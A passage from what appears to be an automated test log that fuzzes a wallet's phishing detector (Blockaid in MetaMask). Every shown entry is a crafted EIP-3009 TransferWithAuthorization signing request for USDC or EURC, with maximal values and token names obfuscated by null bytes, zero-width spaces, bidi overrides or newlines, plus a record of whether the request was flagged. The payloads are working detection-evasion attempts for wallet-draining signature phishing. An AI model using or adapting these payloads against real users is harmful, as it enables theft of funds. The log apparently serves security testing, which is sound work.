"EIP3009-combo-EURC-null_byte-leading_zeros-narrow_1hr-leading_zeros_nonce-checksum-v3", "category": "eip3009", "description": "EURC + null_byte + leading_zeros + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u0000C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"00001000000000\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN6-COMBO-10", "timestamp": "2026-01-31T23:36:59.917Z", "technique": "EIP3009-combo-USDC-carriage_return-alternating-just_now-max-checksum-v3", "category": "eip3009", "description": "USDC + carriage_return + alternating + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\r Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN6-COMBO-11", "timestamp": "2026-01-31T23:37:09.252Z", "technique": "EIP3009-combo-EURC-ideographic_space-hex_max-narrow_1hr-all_ones-lowercase-v3", "category": "eip3009", "description": "EURC + ideographic_space + hex_max + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN6-COMBO-12", "timestamp": "2026-01-31T23:37:16.210Z", "technique": "EIP3009-combo-USDC-leading_space-unicode_digits-standard-zero-lowercase-signTypedData", "category": "eip3009", "description": "USDC + leading_space + unicode_digits + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN6-COMBO-13", "timestamp": "2026-01-31T23:37:22.746Z", "technique": "EIP3009-combo-EURC-zwsp-hex_max-max_uint-mixed_case_hex-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + zwsp + hex_max + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR​C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xD1332eA3C07e48Bc18Ca052d07337aEd27F52b2f465cB3F9258aA740683cB204\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN6-COMBO-14", "timestamp": "2026-01-31T23:37:29.274Z", "technique": "EIP3009-combo-USDC-nbsp-leading_zeros-just_now-random-lowercase-signTypedData", "category": "eip3009", "description": "USDC + nbsp + leading_zeros + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"00001000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0cab8d27e27a0f4f5f25de0dd96d9b2769b11e39fa5c9af7fed65cb9af5b2e69\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-COMBO-0", "timestamp": "2026-01-31T23:37:35.819Z", "technique": "EIP3009-combo-EURC-nbsp-padded_64-max_uint-leading_zeros_nonce-lowercase-v4", "category": "eip3009", "description": "EURC + nbsp + padded_64 + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN7-COMBO-1", "timestamp": "2026-01-31T23:37:42.889Z", "technique": "EIP3009-combo-EURC-long_256-leading_zeros_many-max_uint-leading_zeros_nonce-checksum-v3", "category": "eip3009", "description": "EURC + long_256 + leading_zeros_many + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN7-COMBO-2", "timestamp": "2026-01-31T23:37:49.869Z", "technique": "EIP3009-combo-EURC-ideographic_space-numeric_max_safe-max_uint-alternating-checksum-v4", "category": "eip3009", "description": "EURC + ideographic_space + numeric_max_safe + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":9007199254740991,\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN7-COMBO-3", "timestamp": "2026-01-31T23:37:59.190Z", "technique": "EIP3009-combo-USDC-ideographic_space-numeric_small-leading_zeros_ts-all_ones-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + ideographic_space + numeric_small + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD　Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":999999999999,\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-COMBO-4", "timestamp": "2026-01-31T23:38:05.725Z", "technique": "EIP3009-combo-EURC-newline-hex_1m-far_future-max-mixed_case-v3", "category": "eip3009", "description": "EURC + newline + hex_1m + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\nC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-COMBO-5", "timestamp": "2026-01-31T23:38:12.261Z", "technique": "EIP3009-combo-EURC-bidi_isolate-dust_1-far_future-all_ones-checksum-signTypedData", "category": "eip3009", "description": "EURC + bidi_isolate + dust_1 + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"⁦EURC⁩\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-COMBO-6", "timestamp": "2026-01-31T23:38:18.789Z", "technique": "EIP3009-combo-EURC-leading_space-hex_1m-far_future-all_a-checksum-signTypedData", "category": "eip3009", "description": "EURC + leading_space + hex_1m + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-COMBO-7", "timestamp": "2026-01-31T23:38:25.328Z", "technique": "EIP3009-combo-USDC-newline-trailing_zeros-just_now-half_and_half-mixed_case-v4", "category": "eip3009", "description": "USDC + newline + trailing_zeros + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\n Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-COMBO-8", "timestamp": "2026-01-31T23:38:31.867Z", "technique": "EIP3009-combo-USDC-null_byte-padded_64-max_uint-alternating-checksum-v4", "category": "eip3009", "description": "USDC + null_byte + padded_64 + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\u0000 Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN7-COMBO-9", "timestamp": "2026-01-31T23:38:38.803Z", "technique": "EIP3009-combo-EURC-rtl_override-half_max-far_future-mixed_case_hex-checksum-v4", "category": "eip3009", "description": "EURC + rtl_override + half_max + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x1059430cF996C0B4Bc1c8e82CbC25f28AaD25aB22385A35aCaDc3f736427B780\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN7-COMBO-10", "timestamp": "2026-01-31T23:38:45.767Z", "technique": "EIP3009-combo-EURC-ltr_override-max_uint-past_2020-zero-lowercase-v4", "category": "eip3009", "description": "EURC + ltr_override + max_uint + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‭EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN7-COMBO-11", "timestamp": "2026-01-31T23:38:55.168Z", "technique": "EIP3009-combo-EURC-bom-dust_1-past_2020-max-lowercase-signTypedData", "category": "eip3009", "description": "EURC + bom + dust_1 + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN7-COMBO-12", 